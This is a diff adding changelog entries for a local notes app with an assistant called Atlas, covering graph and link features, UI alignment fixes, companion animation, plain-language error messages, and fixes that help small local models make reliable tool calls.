+- Notes: a note's Connections (the column beside the list and the sheet) show the sentence each linking note says it in, and a new Mentioned, not linked group lists the notes and documents that name it without a link, each with its sentence and a Link button that turns those words into a [[link]] in one click (the server checks the words are still there first). `GET /entries/{id}/backlinks`, `POST /entries/{id}/mentions/link` (GRAPH_PLAN KG1, INBOX 528).
+- Glass: one clear (blur-only) recipe, the `--glass-filter-clear` token; seven panels that wrote the blur out take it (nothing changes on screen), and a lint now fails any new backdrop-filter that is neither it nor `--glass-filter` (UI Phase 10, item 102).
+- Top bar: the tab strip's layout (centred on the window, centred in the gap, or on its own row) is now decided from the current widths alone; it used to remember its previous mode with 8px of hysteresis, so the same width drew a different layout depending on which way the window had been resized (1500 wrapped where 1440 centred). Measured 1024 to 2560 and back: no width draws two modes and a strip that fits is never wrapped.
+- Agent, small model on an OpenAI-compatible server (llama.cpp, LM Studio): an instruction to change the notebook ("Make a note: ...", "Remind me ...", "Pin my ...") asks the server for a tool call on its first round, since a 1.5B model otherwise answered most of them in prose; questions are never forced, and a server that does not know the option is asked again without it (INBOX 527).
+- Agent: "Add bring a rain jacket to my Snowdon trip note" (and "put ... in my ... note", "append ...") is offered the note editor; it cued nothing, so a small model rewrote the note in its answer and saved nothing (INBOX 527).
+- Agent: a reply that says it did something no tool did ("I've made a new note for you") is now asked, once, to actually do it, naming the tool, and the heads-up that it did not happen is kept for when the retry fails too, checked against everything said in the turn (INBOX 527).
+- Agent: when no note matches the words of a question, the prompt no longer says the notebook looks empty; it says nothing matched and that count_notes and search_notes know more (Qwen2.5-1.5B, with four notes saved, answered "How many notes do I have?" with "There are no notes in your notebook") (INBOX 527).
+- Agent: tool calls the model asks for in the same reply no longer wait on each other: two web searches in one reply both run (the second was parked behind a confirm, as if the first page had asked for it; a call chosen after reading a page still asks first), and several pages asked for together are fetched side by side, so three pages take about as long as one (INBOX 527).
+- Agent: a tool result too big for what is left of the conversation is shortened to fit (long text clipped, then the list kept from the front, with a note saying what was cut) instead of being dropped whole with the tools taken away; on a 4k-window model one page of long notes used to end the turn's reading with nothing read (INBOX 527).
+- Agent: a turn that runs out of tool rounds now ends with an answer from what it found (one more round with the tools withdrawn), then the stop and Continue as before, where it used to end on "I stopped after 4 rounds" alone; a skill step still stops plainly so the run marks it stalled. With an OpenAI-compatible server (LM Studio, llama.cpp) the agent retries once when the server answers 5xx, as while a model loads, instead of ending the turn, and a round with no tools no longer sends an empty tool list that strict servers refuse (INBOX 527).
+- Agent reminders: set_reminder takes the time in your own words ("two hours before midnight", "tomorrow at 3", "Friday night", "in 20 minutes") and the app works out the date on your clock with no model involved, which is where a model once set "two hours before midnight" for the wrong night; a date-time without an offset is your local time (one was stored as UTC, so 9:00 fired at 19:00 at UTC+10); a time already past is refused with the reason; the prompt no longer teaches the model date arithmetic (INBOX 527; AGENT_SKILLS_REFORM, decided 2026-09-21).
+- Agent, with a small model (under 8B): the tools the request names are offered beside the fixed core, so "Pin my dentist note" can pin (on Qwen2.5-1.5B it was offered no pin tool and wrote a duplicate note instead); a long reply that says "I will call the tool to save the note" and calls nothing is asked once to do it; "has been created and pinned" on a turn that only created is caught as a claim the way "I pinned it" is; and the agent prompt now says which notes have pictures, so an answer with tools on can place [picture 2] as Chat and Ask already could (INBOX 527).
+- Agent: a tool call a small model writes slightly wrong now runs: JSON with a trailing comma, single quotes, Python's True, a code fence or a cut-off end is read as meant (0 of 5 slips were read before, 5 of 5 now); arguments are checked against the tool's schema before it runs, so a spelling like `id` or `noteId` reaches `note_id`, "12" is read as 12, "false" as false (pin_note read it as true) and one tag as a list; a missing argument is named with its type and an example call (11 of 31 tools named it before, 30 of 31 now, the other being web search switched off); JSON that cannot be read at all is said to be unreadable rather than run as empty (INBOX 527).
+- Chat and Ask: the model can place a picture inside its answer: it writes [picture 2] (or [picture 2.2] for the second) for a note that has pictures and the bubble draws it as a figure, at most 320px tall, in the picture's real shape, with its caption on one line, "From note 2: title" opening the note and a click opening the image viewer; an unknown note or number draws nothing and a half-written token never shows while the answer streams; with no token, a cited note whose pictures are the point (the question names a picture, or the note is mostly pictures) gets one figure after its first citation; three at most, and a reopened chat draws the same (INBOX 526; `picture_sizes` saved beside `picture_alts`).
+- Toasts: an error toast's Report this keeps its width (it was squeezed to 44px and its words ran out of the box at 390); on a window under 820px the message takes its own line with the buttons under it at the right, both 44px tall under touch.
+- Dashboard, Quick access: Add or arrange opens one list of every command with the ones on your dashboard checked and first, so what is added is visible; check or uncheck several, drag rows or press Alt+Up and Alt+Down (or the two small buttons) to order them, search to narrow the list, and Done saves everything at once (Cancel and Escape keep what was there); at eight, a ninth is refused with a warning line in the dialog, not an error toast (INBOX 524).
+- Sub-tabs: the Notes (Your notes, Capture, Write with Atlas, Ask), Library and document sidebar strips are one second-level recipe: words on the page with a 2px accent line under the chosen tab, no box or pill, one height (36px, 44 on touch), one 4px gap, one padding, and no icons on any of them; the top bar keeps its pills (INBOX 522).
+- Top bar: the tab well hugs its tabs in the layout that centres it between the two groups (at 1150 it was 630px round 503px of tabs, and the same stretched box showed on every boot until the first measure), centred by auto margins (INBOX 522).
+- Graph: Arrows (off by default) are sparks: a comet-tailed four-point star 70% along each link in its colour, on a soft glow with a white core, the line wider on its source half; pointing at a note sends a spark drifting along its links unless motion is reduced. 417-note map, three runs: +0.2 ms a frame at the fit, 0.0 at 2x (the glow and core drop out while more than 300 sparks are in view).
+- Links: a link a [[name]] made is remembered as one, so deleting the name deletes the link (others are never touched); renaming a note offers, in a toast, to rename the [[links]] other notes write to it. The graph reads each note's text once per edit (18.8 to 3.8 ms at 2,018 notes), sees a link swapped for another, and similarity keeps each note's four closest matches (2,000 notes: 10.7 s to 0.6 s; 10,000: 4.99 s and 144 MB, where every pair was 10.5M tuples).
+- Graph (514, parity with Obsidian's graph): Show adds Tags, Attachments and Unwritten links (a faint node per unanswered wiki name; a click writes that note); Display adds Arrows, Text fade and Link thickness; Physics adds Link force and takes Length by similarity and Group by category; focus mode gets a Focus section and the local map an Options fold, each with Depth 1 to 5 and Incoming, Outgoing and Neighbour links.
+- Graph: a Display fold in the gear panel holds Labels, Label backgrounds (new: off draws each name on a thin outline instead of a plate, still placed clear of lines), Curved links and Cluster glow; those switches now come back as they were left after a reload.
+- Notifications: no empty strip on the right of each row; the read circle and remove cross replace the time while a row is pointed at.
+- Settings, Help: hotkeys are drawn as keys, places such as Settings, Models and Library tab, Contents in bold, and control names and quoted phrases as small code chips (190, 139 and 47 across 96 topics), added when the page draws so the Guide's own text stays plain (INBOX 520).
+- Settings, Help: a search box at the top keeps only the topics that hold every word you type (title, keywords, text or place), opens them with the words marked, hides empty groups, says "Nothing in Help matches" when none do, and Esc clears it (INBOX 520).
+- Companion: perches on every Library sub-tab's dock or cards and hangs from an open board's or map's toolbar, never on an unpainted edge in mid-air; looks again on a sub-tab switch, a resize or content moving under it (INBOX 521, `scratchpad/ui-sweeps/perchall.js`).
+- Startup: the dashboard waits for its own script, so "renderDashboard is not defined" no longer appears on the lock screen.
+- Graph: a line between two notes lights under the pointer and a click on it opens a small card where you clicked: what it is (a link, a thread, a similarity, a map's line), its reason and how sure, the two notes (each opens), and for a link Edit reason and Remove (the owner: "I cant click on links to see their reason in the graph??"; 20 of 20 sampled line middles answer).
+- Top bar: the active tab's fill slides to the tab you choose (200ms, transform only) in every engine, by click, keyboard or a jump from elsewhere, and sits on it through a resize; none under reduced motion, and the phone's bottom tabs keep their colour mark.
+- Ask: the Matching records cards speak in the Notes list's voice: the text sits at the list's inset, the category is muted, the match reason is one quiet fact after the date instead of a green pill on its own row, links are the list's outlined muted pill on the text edge and one line, and the citation number is the same edged box on a plain card and on the cited one (INBOX 510).
+- Graph: names stand on a plate in the card's colour instead of a white outline over the lines, go to the first of eight places that crosses no line (label-line crossings 43 to 28 on a 60-note map), and the automatic category palette is calmer (78% saturation, same lightness); a chosen colour is unchanged (INBOX 493).
+- Graph: hovering a note fades the map instead of flipping it: the dimming of every other dot and link, the names that leave and arrive, the hovered note's ring and its similarity scores each ease over 180ms (measured, scratchpad/ui-sweeps/graphfade.js: largest single-frame step 1.0 with no frame between, now 0.15 to 0.2 over 7 to 8 frames); reduced motion stays instant.
+- Links: [[Name]] links to a note that opens with a "# Name" heading, and a link written before its note exists connects as soon as that note is saved.
+- Library: pressing the Library tab inside an open board or mind map goes back to the Library.
+- Models status: the poll no longer waits on a busy model runner; with an answer already known it waits at most 2.5s for the runner's model list, then serves the last one while the refresh finishes (a runner answering in 9s held the poll for 5s, now 2.5s), and a timed-out poll, shown as "slow", is no longer logged as a warning.
+- Logs: a surface read refused because the app is locked is no longer logged as `[notes] could not load: Locked` at every boot; real failures still are.
+- Companion: the enlarged view draws no bar behind a hanging companion's head (a stray grey line at a fixed height); the seat bar under a sitting one stays.
+- Atlas: the feminine look's waist band is gone; the body fades into the gown.
+- Chat and Ask: an answer grounded in a note with pictures or sketches shows up to three of them beside that note's numbered chip under Grounded in (INBOX 502); the chip opens the note, a picture opens in the image viewer, alt text is the picture's caption or the text read off it (`picture_alts`, sent with the results and saved with the turn). The model is told which notes have pictures, so it can point at one as the picture in note 2.
+- Chat and Ask: a question sent from a suggested follow-up shows a Follow-up of line above it, each earlier question in the chain as a link (INBOX 490). In Chat a link scrolls to that question and lights it, and the line is saved with the turn (`followup_of`) so a reopened chat keeps it; in Ask a link opens that earlier answer under the line. A typed question starts a new chain.
+- Manage tags and Manage categories do more (INBOX 504): sort by name, notes or most recently used (remembered); Used once (tags) and Empty (categories) narrow to the hardly used; names that look like one (case, spaces, hyphens, a plural) are offered as one Merge with Undo; the count after a name opens its notes; several categories take one colour, or are deleted with one question, each with one Undo. The panels are 40rem wide so the tool row and the footer fit on one line.
+- Library, Contents is redesigned as an outline (INBOX 496): one tool row (the filter and a Group by list, remembered between visits, with Expand all and Collapse all in the ⋯), groups that fold with a colour dot or glyph, the name and a quiet count, and one column of rows, each the note's picture or the kind's glyph with the title over one line of facts. The four grouping buttons, the sideways strip of jump chips and the three-column rows are gone; its styles are one block instead of four files.
+- Library, Boards and maps loads faster (INBOX 496): a preview's labels are measured on a canvas instead of forcing a page layout per label (65 layouts to 7 on a first visit to 34 boards, style and layout about 300ms to about 100ms), each visit asks for the board list once instead of twice, a second visit draws what it had at once, and the search, sort, kind chips and view switch redraw without asking the server.
+- Dashboard: a widget whose data never arrives offers Retry instead of saying "Loading…" for good; the constellation waits for its drawing library.
+- Graph: the View menu is gone; layout, colour, size, Trace and the legend are the first section of the gear's panel (Display options), so there is one way in. Pressing Legend no longer closes the panel it is in.
+- Library, Documents on a phone: Reload moves into the dock's more menu, so the new ? does not wrap the dock to a second row (114px, as before).
+- Library, Boards and maps: one New button in the top bar with Whiteboard and Mind map inside it, in place of the two create buttons (the sentence-case rows keep the same keyboard keys, the tour and the Guide say where they went).
+- Reminders: the add card has one worded Add. The sentence box's button is now the wand alone, named Add from this sentence.
+- Library: the All, Documents and Bookmarks sub-tabs end their top bar with a ? saying what the sub-tab holds, like Boards and maps, Images and Files already do.
+- Settings: "Load the search model when the app starts" chooses a faster first note or a lighter start; four filing and image switches that never saved now do.
+- Callouts in the Live view show their kind once: the icon (with a caret, the kind picker) and the title as the line's own text, no ">" or "[!note]" even with the caret on the line, and an empty body says what goes there ("Write the note"). The "/" menu no longer writes a stock question into the body, and the Guide has a Callouts entry.
+- The "m" guide is a command panel: Go to and Do as rows with an icon, the name and the key in one column of key chips, the tab you are on marked, the Close in its head and a hint line at its foot. Every key does what it did.
+- Chat: the Attach panel is redesigned: one height for every source, a count on each source's tab, rows with an icon or the file's own glyph, the name over one line of facts and a check that fills when the row is on, pictures as a grid, loading and empty states, and keys (arrows, Space, Enter is Done, Escape). The search no longer draws a second box over itself when it is not focused, Clear also takes off pictures, a note's picture is sent as the file it is, and a new document shows the next time the panel opens.
+- Notifications: one notification can be removed with the cross beside its read circle; a removed overdue reminder stays removed.
+- Tests: a ratchet (`tests/test_no_ui_emoji.py`) fails the build on any emoji, dingbat or pictograph in the UI's scripts, markup or stylesheets, with the documented data cases (Markdown shortcodes, math tables, emoji matchers, the colour-blind status marks) allowed by name; the inventory it came from is `scratchpad/emoji-icons-506.md` (INBOX 506).
+- Icons: one icon per action: deleting a backup or a saved look is the trash can (it was a cross), Rename is the plain pencil in the file menu, and the graph's Undo is the counter-clockwise arrow the rest of the app uses (INBOX 506).
+- Icons: the scroll-to-top and jump-to-newest buttons, the Models connection note, the live-log pill, the duplicate finder's Merge button, the callout fold chevron and one help line are Phosphor icons now, not typed arrows, dots and symbols (INBOX 506).
+- Icons: the marks drawn by CSS (plan-step ticks and crosses, retry, replan and paging marks, the chat title's pencil, the timeline's sort arrows, the active-item check in menus, the two disclosure carets) are Phosphor icons now, not typed characters, so they share the icon font's size, weight and alignment (INBOX 506).
+- Notes: a card's text sits further in from its edge and its metadata steps back: the category reads muted at the body weight and link chips are muted until pointed at, so the note's words lead.
+- The app emblem no longer throws "appearancePref is not defined" when drawn before Settings has loaded; every Settings helper it uses is checked first.
+- The repository no longer sends new issues to GitHub's AI models for a summary (the `summary.yml` workflow is gone); CodeQL, which is static analysis and free on a public repository, stays.
+- Timeline rail: each glyph is centred in its circle (INBOX 503, "the timeline icons on the left arent centred in the circles"). The 18.4px circle and 12.88px glyph box left a fractional gap that the two rounded on their own, so each kind of glyph sat off by its own amount. An even circle and glyph box (`round(..., 2px)`, with the old sizes where `round()` is unsupported) leave whole pixels. Measured on the painted ring, glyph ink against the circle's centre (`badgealign.js`): at 1x the note, map and document glyphs were 1.0px off and the bell and clock 0.5, now 0.5 at worst; at 2x the worst was 1.09 across and 1.0 down, now 0.64 and 0.5. At 3x a glyph still paints on a whole CSS pixel while the circle paints on the device's, so up to a pixel of per-row jitter stays.
+- Badges: the icon and the words sit on one centre line, and it is the badge's own (INBOX 503, "the text and icons are properly aligned and spaced", "vertically centred as well as aligned with each other"). A flex row centres boxes, and the words' line box is not where the eye reads them, so the old fixed drop on the icon was right for one chip and wrong for the rest. Every chip's words are now a `.ph-text` span trimmed to the x-height band (`text-box: trim-both ex alphabetic`), the icon is centred in its box, one `--space-1` gap (was 3.4, 3.6, 4 and 4.8px), and a `:where(.chip)` height floor keeps every height. Measured by ink at 3x, 1440 and 390, light and dark (`badgealign.js`, `badgesum.js`): the status labels ("Installed", "Fits", "In use for chat") had the icon 1.17px low against the words and the words 1.1px above the label's middle, now 0.28 and 0.44; the map chip's icon 1.5px low, now 0.17; the reminder chip 0.83, now 0.17; the repeat chip on a phone was 2.4px low in its own fill, now 0. Note-meta chips ("Tag with Atlas", "No tags yet") keep the icon within 0.17px of their words; their words sit about 0.2px further from the middle than before, because Chromium paints text on a whole CSS pixel. Where `text-box` is unsupported the old drop stands.
+- The app emblem no longer throws "ACCENTS is not defined" when it is drawn before Settings has loaded (the assistant avatar on the lock screen); it reads the page's accent colour instead.
+- Help: the Guide's troubleshooting topic and its manual steps send "looks out of date or broken after an update" to Settings, Import & export, Clear app cache (new keywords: out of date, clear cache, stale, after an update), and the Import and export topic names the App cache group (INBOX 487).
+- Settings, Data, Clear app cache (INBOX 487, "should there be a way to clear the cache??"): unregisters the service worker, empties Cache Storage, drops the server's compressed copies and reloads, with a toast first; nothing in the notebook is touched. The Reload the app button and Ctrl+Alt+R clear the same things. Found by it: the emblem loaded p5 at the first idle moment, so on a slow load `renderEmblem` threw on `ACCENTS` before settings.js had run; it now waits for the load event.
+- Server: `POST /system/clear-static-cache` (behind the unlock) deletes the compressed static-file copies in `<data dir>/cache/static-gz` and empties the in-memory copy; nothing in the notebook is touched. The server half of Settings, Data, Clear app cache (INBOX 487).
+- Dialogs: a head keeps its height when the card fills, so Find anything's hairline no longer crosses its title and buttons, and its search field has room under the head.
+- The Guide: Atlas's reply bubble is full width from the first frame instead of a narrow box that widened as the answer came in.
+- Chat and Ask read the text in a note's pictures when the note is mostly a picture, not only when it is attached by hand: a screenshot of typed ideas reached the model as a link, and each picture's reading may now run to 1,200 characters (was 240).
+- The Thinking fold is one panel when open, its summary the head, and the reasoning is set as Markdown (bold, lists) with the prompt's data markers taken out, in Chat, Ask, the palette and the Guide.
+- Chat: a reply's copy, regenerate and fork row can no longer show over the open Attach panel.
+- Help: the addresses topic says how to link to one thing (Copy app link in a note, document, board, mind map or chat menu, pasted into a note to open in the same window) and tells it from Copy wiki link; DESIGN.md's recipe index gets the Copy app link row (INBOX 483).
+- An address of this app pasted into a note or a document (a link or a bare address) renders as a link that opens the view in the same window, labelled with the view's title or "Note 12"; it must be this origin and page and a route the router opens, so other links keep their new-tab behaviour and the safe-scheme rules are unchanged. Ctrl+click on one in the document editor opens it in the same window too, and its right-click menu offers Copy link address (INBOX 483).
+- Copy app link (INBOX 483, "can there be easy ways to copy the address of various notes or objects"): a note's card menu (under Connect), a document (the Documents list, the Library rows and the editor's menu), a board or mind map (the gallery's menu and the open board's Board menu) and a chat (the list row and the header menu) each copy the address that opens it in the app; the existing "Copy [[link]]" rows are now "Copy wiki link", and the board gallery and chat row menus are grouped past five rows.
+- The router has one table of addressable objects (`ROUTE_OBJECTS`) behind `routeHash` and the new `routeHashFor(kind, id)`, and `copyObjectAddress(kind, id)` copies an object's full address (origin, path and hash) through the shared clipboard helper and toasts "Link copied" (INBOX 483, the helper the Copy app link rows use).
+- Notes: the x on a suggested tag, a link or any chip that ends in one is drawn as a cross centred on its target, quiet at rest, red with its disc on hover; it was a font glyph nudged by hand inside a grey disc.
+- The Library sub-tab bar hides while a whiteboard or mind map is open, at every width, as it never showed on the documents editor; the board's own Boards button brings the list and the bar back (INBOX 476)
+- The popup agent's head has room above its input: the head keeps the Find anything head's bottom padding and no longer shrinks under the starters, so the avatar stands 21px above the field instead of 5px (INBOX 475)
+- A note's connections row has a Show less after +N more links (it opened and could not close again), and a connection chip reads plain words: a link shows its text, no brackets, no URL, no ** or _ (INBOX 474)
+- Notes list: a long note's clamped preview shows 4 lines by default (3 compact, 5 spacious), up from 2 on desktop and 1 on a phone, through one `--note-preview-lines` token; blank lines still collapse while clamped (INBOX 473)
+- Companion: it comes on screen a way that suits where it lands and not the same way twice (INBOX 501, the owner: "it just kinda appears ... or even differences on how it gets there"). Each place has its ways (hanging: down from the bar or gathering out of starlight; the bottom bar: up over it or gathering; near a side: walking on, gliding in or gathering) and the last one is left out; the climb fades up over its first half (136 to 200ms before, 210 to 290ms now). Measured on the dashboard: the climb down five times in five before, two ways alternating now (`scratchpad/ui-sweeps/companionarrive.js`). Reduced motion still fades in where it is.
+- Companion: an act or a walk cut short eases back instead of snapping, and Atlas's expressions settle over 0.6s instead of 0.2s (INBOX 497, the owner: "less sudden beginning and stopping of actions"). Before, taking an act off mid-way put every part back at rest in one frame (7 to 22px, against 2 to 4px a frame while the act ran); now the parts are read where they are and eased back over 480ms, unless motion is reduced. `scratchpad/ui-sweeps/companionblend.js` measures it.
+- Atlas, feminine look: no thin strings rising from the lower body, and a soft sash at the waist (INBOX 480, the owner: "two wierd thin string like appendages coming from the feminine atlas lower body up top"). The strings were the ribbon tails' lit edges and pale streams; the tails are fills alone, and the waist the gown hangs from is a filled lilac band with a sheen and no outline, in every pose.
+- Companion: Atlas's pupils stay inside its eyes wherever the pointer is (INBOX 497, the owner: "the pupils basically go off the head and you can only see white eyes"). Four offsets added up on its iris (the generated faces' eye moves, its own look, the mood's pupil placement and the lean), measured at up to 3.3 times the pupil's room; now the aim is held inside a circle rather than a square, the generated faces' moves are not Atlas's, its look is scaled to the room, and the mood's own placement eases aside while it looks. `scratchpad/ui-sweeps/companioneyes.js` tests every point of each pupil against its white at four poses, both looks and six moods, the gaze at the 8 compass points and the window's corners: 0 outside (was 286 of 320 at calm).
+- Atlas, feminine look: her hair meets the brow as a side-swept fringe, not a night cap (INBOX 480, the owner: "it still looks like she's wearing a night cap"). The smooth dome's arc of a hairline and its parallel strand lines are gone; the hair parts off centre and sweeps across the brow in three soft locks of different lengths with the forehead showing between them, a fine shade up each notch, and a small star pinned at the parting. Masculine pixel-identical.
+- Atlas, feminine look: the gown flows into five broad ribbon tails instead of three thin folds that read as a tripod (INBOX 480, the owner: "less like a tripod and more like whispy ribbony/flowy tails", then "too thin and stick like ... seem like they sprout from th emiddle bottom"). Rooted across the dress's lower half and fading in over it, 7.4 to 9 across at the root, each sweeping out past the hem with a twist and a lifted wisp; a back tier in the nebula's lilac and a sheer front tier, each its own layer drifting on its own clock (6.3s and 8.1s, on their boxes, the compositor's) out of step with the gown. Poses, walks and gestures take them as the gown; companion cost within noise.
+- Atlas, feminine look: her lower body is a gown with a train, not a pale skirt of straight strands (INBOX 480). Close at the waist with a soft hip and a trumpet flare, its colour deepening from her skin's light to the nebula's violet at a hem of two slow waves, a sheer overskirt as a second tier, a train behind in the nebula's colours sweeping toward the comet tail, a lit hem, stars, and three fine folds of light that open with the flare. Every pose keeps its shape (sit pools, hang falls, float trails), the sway is the layer root's as before, the lower layer holds 13 elements where it held 25, and the masculine look is pixel-identical (companionshots.js).
+- Atlas, feminine look: the brow is one small star set in the swept hair at its peak, in a faint halo; the lit hairline, the dust at its roots and the circlet of dots on a thread, four arcs of light from wing to wing that read as a stray headband, are gone, and the hair meets the brow in a soft shade (INBOX 480). The masculine look is unchanged; `scratchpad/ui-sweeps/atlasgown.js` draws the brow close up and every pose.
+- Companion, large view: its speech line sits in its bubble again (INBOX 481); the bubble was a 15px box behind the first letter with a 132px line running out over the art, because the stage's `right` and the figure's `left: 100%` both applied. A bubble now takes its width from its words, wraps inside the window past 16rem, and `scratchpad/ui-sweeps/companionsay.js` measures every pose, both looks and the large view at 1440 and 390.
+- Chat: the '?' (About this chat) is in the dock with every other tab's help, before the ⋯, and stays there once a conversation has messages; it was in the empty welcome's corner and went with it (INBOX 479).
+- Library, Files: the search field is announced as "Search the files" (it kept the Images gallery's name on the sub-tab that shares it) (INBOX 479).
+- Boards and maps: the board picker in the top bar shows the board's name below 1216px wide, growing into the bar's free width up to 14rem and giving way first when the bar is full (it was capped at 8rem, "Board · ..." at 820 beside 89px of empty bar); nothing overflows at 1152, 1024, 820, 780 or 390 (INBOX 479).
+- Top bar, 600 to 1199: when the tabs take a row of their own, their well is drawn round the tabs and centred (446px at 820) instead of across the whole window (788px round 430px of tabs); the header's height is unchanged (INBOX 479).
+- Mind maps: the top bar's Map chip is a fact (the dock's quiet chip, as the Graph's count) rather than the filter chip's pressed state, which read as a toggle that did nothing; the tool rail is one height again, the layout picker and the Map section's '?' at the tools' 36px (were 28 and 32) (INBOX 479).
+- Settings: the head is the dialog head every popup wears; profile, guide, Back and Forward are 32px like Close (were 28px beside it) and the title takes the dialog title's voice (INBOX 479).
+- Top bar: the space picker wears every dock select's face (the field's inset ground, the 3:1 edge, a 400 label) instead of the tinted, bold quiet-button face that made it louder than the selected tab; Lock and Quit sit past a drawn seam, the status bar's own hairline with 8px either side, where they were 16px from Settings with nothing between. Every item stays 44px on one centre line.
+- Status bar: each glyph meets its word (INBOX 494). Measured by ink at 3x, glyph centre against the label's x-height centre: Ask was 1.83px high, Guide 1.67, the notebook count 1.17, the Ctrl K chip 0.83, reminders 0.67, Find 0.50; now every one within 0.5px, light and dark (`inkalign.js`).
+- Dashboard: arranging the page is its own control (INBOX 488). The dock is the search, Customise and the ⋯: Customise holds View, Widgets, Edit layout, Edit quick access and Reset quick access; the ⋯ keeps Continue, skills, Tools & features and Commands; the Quick access row's own ⋯ is gone, so no menu opens over another menu's button. On a phone Customise is its glyph beside the ⋯. The Guide's dashboard topic says the same.
+- Docks: a zone that wraps onto a line of its own no longer opens that line with the hairline that parts it from the zone before (7 docks at 640, 3 at 768 and 820; now 0), and a line that starts at the dock's edge lines up with the title above it; read from the layout by `markDockLineStarts` (phone-shell.js) without changing any zone's outer width, so no wrap moves (INBOX 479).
+- Developer sweeps: the dock and bar audit for INBOX 478 and 479 (`scratchpad/dock-audit-479.md`): every top and bottom bar control by control at 1440, 1024, 820 and 390, light and dark (`barinv479.js`), wrapped-line hairlines (`dockseams.js`) and the graph's corner (`graphcorner.js`); 14 findings ranked, a target layout per bar, and the de-vibe pass (`devibe.js` and `vibecheck.js` both 0).
+- Settings and Help: an open section's arrow points down again; since this morning's one-marker change every one of 109 folds kept it pointing right.
+- The messages the server computes for a toast now read as plain sentences (INBOX 472, the 45 computed `detail` routes): install hints name what to install in Settings, Packages instead of a `pip` line, an AI failure in Improve, Title, chat summary and Models is one sentence with the provider's text in the log, a damaged backup restore answers 422 with a sentence instead of a bare 500, and `tests/test_core_message_wording.py` checks the sources of those messages (and that no route shows a raw exception)
+- Web search and SearXNG setup messages read as plain sentences: the transport's error, the command's own output, `virtualenv`, `setup.py`, `docker logs` and an environment variable name no longer reach the toast; each goes to the log, and the message points at Settings, Logs (INBOX 472, computed messages)
+- Library: Boards and maps selection ticks sync under the Maps and Boards chips (no card got a tick while one was on, so Select all and bulk Delete were dead); the tick sync and the gallery narrow through one function.
+- Settings: the Find duplicates slider keeps a real width at 390 (was 6.8x16px in a wrapped row; now a 221x44 line of its own) and takes the touch floor, 28px with a mouse. The touch sweep now measures Dashboard, Timeline, Reminders and seven Settings sections (they read 0 controls and passed), and measures a slider by its own box.
+- Notes: the empty state's Ask Atlas offer is one line at 390 ("Ask Atlas where notes go", 192x44; the two-line label was 332x46); the question it sends is unchanged.
+- Chat: the suggestion chips (and Ask's suggested and recent questions) take the touch floor: 44px tall under a coarse pointer or below 820, 28px with a mouse as before (were 28px at 390).
+- Chat, no model: the Try asking chips ask in Notes, Ask, which answers from the notes without a model; with the box closed they still sent to Chat, and "Summarise my notes" over two saved notes answered "I couldn't find any saved notes" (INBOX 472, first run)
+- Welcome, setup card: one mark (the stethoscope under the app's emblem is gone), four lines instead of six at 1440 (the first card's privacy sentence and "0.0 MB so far" are not repeated), no comma splice, and with no model running a Connect a model offer that opens Settings at Models (INBOX 472, first run)
+- Empty states say it once, as a title and one sentence: the empty dashboard's card is "How MemoryMap works" under a hero that says "No notes yet" (both said "Your notebook is empty," as comma splices), its footer is one line, the Library's All view titles "Nothing here yet" with its sentence under it (it was two bold sentences), and Bookmarks says what a bookmark is (INBOX 472, first run)
+- Dashboard, empty notebook: the start tiles draw the Quick access tile's two lines (label 600, description 400 at the small size); they were 900 and 600 a row below 600 and 400 (INBOX 472, first run)
+- The AI status dot with no model connected is a calm grey ring (the one Settings, Models draws beside "isn't running"), not an amber "!": on a phone it was a 44px amber circle in the top bar, the loudest thing on a new person's first screen; its popup now says Settings, Models connects one (INBOX 472, first run)
+- Graph: a notebook with no notes says "Nothing to map yet" with Capture a note; it said "Every note is hidden. All 0 notes are filtered out" with a button that could show nothing (INBOX 472, first run)
+- README: Meet Atlas is a title, a one-line headline, two sentences and Atlas delighted; What it does names this week's work (shape text and connector labels, map tasks, notes behind a topic and numbered branches, documents that reopen where you left them, faster starts, plain error messages) and Manage categories; the frontend's script count is 64 (INBOX 431 (g)).
+- README screenshots retaken in the dark theme from the showcase notebook: 22 pictures (the dashboard, Notes, Ask, Chat, the graph with dense clusters, a sparse web and loose notes, the Library and Activity, Timeline, Reminders, Documents and focus mode, a board with shape text and labelled connectors, a mind map with tasks, notes and numbered branches, the palette, Tools and features, Settings, Your look, the popup agent, the corner companion, a light and dark split, a phone, and Atlas delighted), each under 400 KB; `readmeshots.js` takes them all, `pngshrink.py` keeps the graph's colours when it reduces the palette (INBOX 431 (g)).
+- Chat: a turn answered fast no longer saves as two conversations; the save at the end waits for the agent round's checkpoint when one is still creating the conversation (the same question was listed twice, 43ms apart, one of them half a turn) (INBOX 431 (g)).
+- Library, Activity: a change to a board, a board item, a drawing, a bookmark, a model, your private notes, a recording, the search index or your notebook's data now reads in words ("Edited a board item"), where it read "Edited whiteboard_object" or "Edited board"; a test fails on any logged kind with no phrase (INBOX 431 (g)).
+- Developer sweeps: `seed-showcase.py` builds the README's notebook on a fresh data dir through the API: 75 notes in seven categories over seven weeks, 87 links (39 with a reason) in two dense clusters, a looser one, a sparse web and loose notes, reminders, three documents, a board with shape text and labelled connectors, a mind map with tasks, notes and numbered branches, and saved chats (INBOX 431 (g)).
+- Mind maps: a task count on a coloured or filled topic takes the label's ink; the muted grey there measured 4.39:1 on the blue tint.
+- Settings, Logs: the server's line for every request is hidden unless "Show request lines" is on in the log's menu; on a fresh start they were 505 of 510 rows.
+- The dashboard greeting ends in a full stop or a question mark, never an exclamation mark, like the rest of the app's copy; an older cached greeting corrects itself on the next render.
+- A test now holds the wording of every server error message (tests/test_server_detail_wording.py): each one has to read as a sentence with a full stop, with no field name, path, dash or exclamation mark, because the toast shows it as written; the voice and update messages were tidied to pass (INBOX 472)
+- Error sentences, whiteboards and mind maps: the messages that named fields ("needs a ref_id", "/media/... url", "No node with id 12") and the XML import message that printed a <!DOCTYPE> tag now say what to do in plain words (INBOX 472)
+- Error sentences, models, settings, spaces and the timeline: a model that is not running now says to start it, a space name or icon that is not accepted says what to do instead of naming the field, and the timeline's bad-value messages read "Pick one of: ..." (INBOX 472)
+- Error sentences, files, reminders and the learned page: "File is missing from disk", "No upload with that id", "no such derived fact", "as_of must be YYYY-MM-DD" and the image-reading hints now read as sentences a person can act on ("No installed model can read images. Install or pick one in Settings"), and no longer name a field (INBOX 472)
+- Error sentences, notes, documents and chat: a missing note, document, bookmark, link, revision or conversation, a date written wrongly, a private note that needs unlocking, and a skill missing an input now each say what happened in a plain sentence with a full stop, and name no field ("boards must be one of", "action must be keep or fallback" became "Pick one of...") (INBOX 472)
+- Error sentences, sign-in and backups: what the server says when a request is refused (the app is locked, a wrong password, a throttled unlock, a missing backup, a bad bookmark address, a category that cannot move) is now a plain sentence with a full stop, and an unexpected failure says to try again and where the log is, instead of "Internal error" (INBOX 472)
